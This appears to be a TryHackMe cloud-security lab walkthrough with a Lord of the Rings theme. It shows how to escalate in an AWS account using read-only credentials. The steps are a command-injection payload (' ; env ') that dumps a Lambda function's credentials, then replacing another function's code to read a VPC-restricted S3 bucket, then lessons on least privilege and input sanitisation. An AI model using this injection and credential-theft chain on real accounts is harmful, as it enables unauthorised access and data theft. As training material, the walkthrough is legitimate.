Skip to main contentSkip to main content
Room Banner
Back to all walkthroughs
Room Icon

Lambda - Data Exfiltration

Try your hand and compromising Lambda functions to access secret data.

medium

60 min

255

User profile photo.
User profile photo.

To access material, start machines and answer questions login.

The Uruks of Mordor have hired you to get access to a CryptoWallet in the Account belonging to a rival gang of Uruk-hai. The gang has obtained some read-only credentials to the target account through means you don't want to ask about. Unfortunately, the CryptoWallet is in an Bucket protected by a Endpoint policy. You cannot access it from anywhere except the .

For this challenge, the read-only credentials are the same ones provided by the TryHackMe environment, so continue to use them. You will want to leverage your AttackBox for this exercise. 

Answer the questions below
Let's get started...

Select the Cloud details button at the top of the room:

Where needed generate the environment required for the room. The "Generate Environment" button will appear if the room contains an environment that needs to be generated. 

For any issues with the environment, select the "Reset Environment" button. Review this article for more information.

To view the credentials required for the environment, select the credentials tab. You can use these credentials to access the environment in various ways. More information can be found here:

Answer the questions below
Generate environment or set up your credentials

From our mission brief, we know the wallet in question is located in . Let us list all the buckets.

           user@machine$ aws s3 ls
2022-06-25 09:06:52 mauhur-coins-XXXXXXXXXXXX
2022-06-25 09:06:52 mordor-pics-XXXXXXXXXXXX
user@machine$ aws s3 ls s3://mauhur-coins-XXXXXXXXXXXX
2022-08-02 18:21:17        148 password.txt
        
It looks like there is a bucket of scenic pictures of Mordor and a bucket with the head Orc's coins.

This should be easy! We have ReadOnly credentials, and they allow us to do :GetObject, right?!
CLI
           user@machine$ aws s3 cp s3://mauhur-coins-XXXXXXXXXXXX/password.txt .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
        

Ok, so why is this happening? Let's look at the bucket policy:

           user@machine$ aws s3api get-bucket-policy --bucket mauhur-coins-XXXXXXXXXXXX --query Policy --output text | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Deny",
      "Principal": "*",
      "NotAction": "ANSWER TO QUESTION 1",
      "Resource": "arn:aws:s3:::mauhur-coins-XXXXXXXXXXXX/*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-0fd14d90756f6f9d7"
        }
      }
    }
  ]
}
        

There is an explicit deny on all object operations (except PutObject) from everywhere except a VPC. All access to the bucket is restricted to the specific VPC Endpoint! That's annoying.

These next two commands will describe the network topology. The first command will list all of the VPC Endpoints (which we discussed in Task 5 of the room VPC - Attack & Defense). This will allow you to confirm which VPC is bound to the bucket policy we enumerated above.

CLI
           user@machine$ aws ec2 describe-vpc-endpoints
{
    "VpcEndpoints": [
        {
            "VpcEndpointId": "vpce-0fd14d90756f6f9d7",
            "VpcEndpointType": "Gateway",
            "VpcId": "vpc-0d60212483132e833",
            "ServiceName": "com.amazonaws.us-east-1.s3",
            "State": "available",
            "PolicyDocument": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"*\",\"Resource\":\"*\"}]}",
            "RouteTableIds": [
                "rtb-0a6c663e8adbdb68a"
            ],
            "SubnetIds": [],
            "Groups": [],
            "PrivateDnsEnabled": false,
            "RequesterManaged": false,
            "NetworkInterfaceIds": [],
            "DnsEntries": [],
            "CreationTimestamp": "2022-06-25T13:07:23+00:00",
            "Tags": [],
            "OwnerId": "XXXXXXXXXXXX"
        }
    ]
}

user@machine$ aws ec2 describe-vpcs
{
    "Vpcs": [
        {
            "CidrBlock": "10.100.0.0/21",
            "DhcpOptionsId": "dopt-0a371fbc2f3d6802b",
            "State": "available",
            "VpcId": "vpc-0d60212483132e833",
            "OwnerId": "XXXXXXXXXXXX",
            "InstanceTenancy": "default",
            "CidrBlockAssociationSet": [
                {
                    "AssociationId": "vpc-cidr-assoc-00a6f7bca9e0f80d9",
                    "CidrBlock": "10.100.0.0/21",
                    "CidrBlockState": {
                        "State": "associated"
                    }
                }
            ],
            "IsDefault": false,
            "Tags": [....]
        }
        
We see a specific with a name matching our target ("Mauhur's - Do not Use"). If we want to access the wallet in that bucket, we will need to be in that . The unfortunate Orc who provided our employer these credentials indicated that the account only has a few running in it, so in our next task, we will investigate those.

Answer the questions below
What is the NotAction value in the policy for the coins bucket?

What is the Name of the VPC we need to target?

We will start with a simple list of the functions:

           user@machine$ aws lambda list-functions
{
    "Functions": [
        {
            "FunctionName": "list-images",
            "FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:list-images",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::XXXXXXXXXXXX:role/MordorTravel-ReadImageBucket",
            "Handler": "index.lambda_handler",
            "CodeSize": 421,
            "Description": "Lists all files from the Mordor Travel Agency",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2022-06-25T13:07:37.080+0000",
            "CodeSha256": "8A2RxR6oqpuWYIXcyMiAYMD9Osjhr2kXtYAuZfsIilY=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "LOG_LEVEL": "INFO",
                    "IMAGE_BUCKET": "mordor-pics-XXXXXXXXXXXX"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "5ff95fbf-bbe2-4328-867b-9d56c55ff9bc",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ]
        },
        {
            "FunctionName": "download-images",
            "FunctionArn": "arn:aws:lambda:us-east-1:XXXXXXXXXXXX:function:download-images",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::XXXXXXXXXXXX:role/VPCLambda-AmazonS3FullAccess",
            "Handler": "index.lambda_handler",
            "CodeSize": 539,
            "Description": "Retrieves images from the Mordor Travel Agency",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2022-06-25T13:07:20.275+0000",
            "CodeSha256": "m2SJ2fnsmVu8Amn+SZnSh6qF0KTIgI7uzkbNojS8gf0=",
            "Version": "$LATEST",
            "VpcConfig": {
                "SubnetIds": [
                    "subnet-0953b2d67d7533543"
                ],
                "SecurityGroupIds": [
                    "sg-02a173fd92a925e5d"
                ],
                "VpcId": "vpc-0d60212483132e833"
            },
            "Environment": {
                "Variables": {
                    "LOG_LEVEL": "INFO",
                    "IMAGE_BUCKET": "mordor-pics-XXXXXXXXXXXX"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "5c3bd7bf-0f68-4b87-9c91-2cb0cbaa20eb",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ]
        }
    ]
}
        
Note: there might be a third function named StackSet-budget-*. You can ignore that function as it is not part of this scenario

What can we infer from the above?

  1. There is a serverless application that uses to serve pictures.
  2. One function lists the contents of the bucket, and the other downloads the contents.
  3. We can see from the VpcConfig in the download-images function that the function runs in the required to access that bucket.
  4. So we need to leverage that function to accomplish our objective!

What can these functions do? Run the following from your AttackBox to get the policies attached to each function:

FUNCTIONS="list-images download-images"

for f in $FUNCTIONS ; do
    ROLE=`aws lambda get-function --function-name $f --query Configuration.Role --output text | awk -F\/ '{print $NF}'`
    echo "$f has $ROLE with these managed policies:"
    aws iam list-attached-role-policies --role-name $ROLE
    for p in `aws iam list-role-policies  --role-name $ROLE --query PolicyNames --output text` ; do
        echo "$ROLE for $f has inline policy $p:"
        aws iam get-role-policy --role-name $ROLE --policy-name $p
    done
done

The above commands will iterate the list of  functions, and for each, extract the functions execution role in the variable ROLE. It then lists the attached policies for the role, and any inline policies for the role. We will use that information in the next step as we analyze how compromising these functions can get us closer to our objective of reading the bucket.

Answer the questions below
Which Lambda function has the AWSLambda_FullAccess managed policy attached to it?

Which Lambda function has the IAM permissions to access any S3 Object in any S3 Bucket in this account?

The function list-images has the AWSLambda_FullAccess managed policy. This means that it can change any other function! The download-images function is already in the VPC, and it has the AmazonS3FullAccess managed policy, which would allow that function to view all of S3!

It seems like a reasonable plan of attack is to use the credentials from the list-images function to modify the code of the download-images function.

Let's get the code bundles for both of these functions with the aws lambda get-function command. You should run this from your  AttackBox.

FUNCTIONS="list-images download-images"
for f in $FUNCTIONS ; do
    URL=`aws lambda get-function --function-name $f --query Code.Location --output text`
    curl -s $URL -o $f.zip
    mkdir $f
    unzip $f.zip -d $f
done

The above commands will loop the two functions and call get-function extracting the pre-signed URL for the function (Code.Location). It will then run curl on that pre-signed URL to download the code zip file, and extracts it  into a folder named after the function with the unzip command.

Now that we have the python code for both functions. Let's look at how we can exploit them.

The first function we need to attack is the list-images function. If we look at the code, you'll see it is a very simple lambda that runs the AWS CLI and doesn't sanitize any inputs. This should be easy.

def lambda_handler(event, context):

  command = f"aws s3 ls s3://{os.environ['IMAGE_BUCKET']}/{event['prefix']}"
  files = os.popen(command).read()
  return(files)

When passed the following JSON, this function will return a list of objects in the IMAGE_BUCKET, then run whatever else we add to the end of the command. Something like this:

{"prefix": " ; env "}

If we look at the download-images function, we see this function's author used the python library for AWS (boto3). As a result, we cannot simply invoke this function to access the password.txt file in our target bucket.

But, when we invoke the list-images function and get those function credentials, we will have the power needed to modify the download-images function.

So let's make a few changes to the index.py in the download-images function.

Change line 18 from

Bucket=os.environ['IMAGE_BUCKET'],
to
Bucket='mauhur-coins-XXXXXXXX',
(replacing XXXXXXXX with the correct suffix for your account). The function already returns the data and logs the file's contents to CloudWatch (line 22), so we don't need to do anything else.

Save the index.py file, and create a new zip file with this command run from inside the download-images directory.

zip -r ../compromised.zip index.py

We will use compromised.zip later in Task 6.

Answer the questions below
Who gave the list-images function's author the vulnerable CLI command to run?

We're now ready to commence our attack. Create a file called payload. with the following contents:

{
    "prefix": " ; env "
}
That file will tell the function to run the unix command env which will print out all the environment variables used by the function.

We will invoke that function with the following command. We pass in the json payload, and have the output written to the file output.json. We'll then parse the output.json looking for the environment variables that begin with AWS.

aws lambda invoke --function-name list-images --payload fileb://payload.json output.json
cat output.json | jq -r . | grep AWS
Now open a new window on your AttackBox and set the environment to use the new credentials you've just exfiltrated. You want to use a new window since you'll be operating as a different IAM entity. Make sure to use this new window for all the commands going forward.
user@machine$ export AWS_SESSION_TOKEN=REDACTED
user@machine$ export AWS_SECRET_ACCESS_KEY=REDACTED
user@machine$ export AWS_ACCESS_KEY_ID=ASIAREDACTED
And validate that you're using the Lambda function's credentials:
AWS CLI
           user@machine$ aws sts get-caller-identity
{
    "UserId": "AROASTZ6PFXLEA57NTJRH:list-images",
    "Account": "XXXXXXXXXXXX",
    "Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/MordorTravel-ReadImageBucket/list-images"
}
        
Congrats! You've now escalated your permissions.

Answer the questions below
What's the value of the AWS_EXECUTION_ENV environment variable?

Now that we're operating with escalated permissions, update the download-images function with the zip file we created in Task 4:

aws lambda update-function-code --region us-east-1 --function-name download-images --zip-file fileb://compromised.zip
Create a new file - payload2.json with these contents (recall from Task 2 that password.txt is our target):
{"object_key": "password.txt" }
And then invoke the compromised function to read the target file:
aws lambda invoke --function-name download-images --payload fileb://payload2.json output2.json

Answer the questions below
What is the secret phrase in password.txt?

Our Orc friends made several mistakes in their cloud security.

1. Overly permissive roles

The download-images function didn't need AmazonS3FullAccess. The purpose of that function was to access a specific bucket. If they had scoped the policy to the right bucket, you wouldn't have been able to access mauhur-coins-XXX. Secondly, the list-images function didn't need AWSLambda_FullAccess. That managed policy is for account admins to create and manage lambda, not for the lambda functions themselves.

2. Unsanitized inputs

The list-images function didn't validate event['prefix'] before passing it to the shell. Thus we were able to use a simple command injection to access the environment variables and the AWS Credentials.

3. Lambda in a VPC.

There was no good reason to place the download-images function in the Mauhur's VPC - Do not Use . Sometimes developers or security architects have "on-prem thinking" and believe a function in a is more secure. As functions are invoked and managed via permissions, granting them un-needed access to the private corporate network allows an attacker to laterally move from the cloud to the network.

4. Leaking Read-Only Credentials

We don't know how your employer got the Read-Only credentials to Mauhur's account. However, with them, you could quickly find the bucket you wanted, the object in the bucket, the network layout, and download all the Code in the account to inspect them for vulnerabilities. ReadOnlyAccess is a very powerful managed policy and should not be used lightly.

5. Account Separation

The Orcs used one account for everything. recommends creating new accounts for each different application and business function. The Mordor Travel image application and Mauhur's Crypto Wallet should never have been co-located in the same Account.

Answer the questions below
Which managed policy seems harmless but should not be used lightly?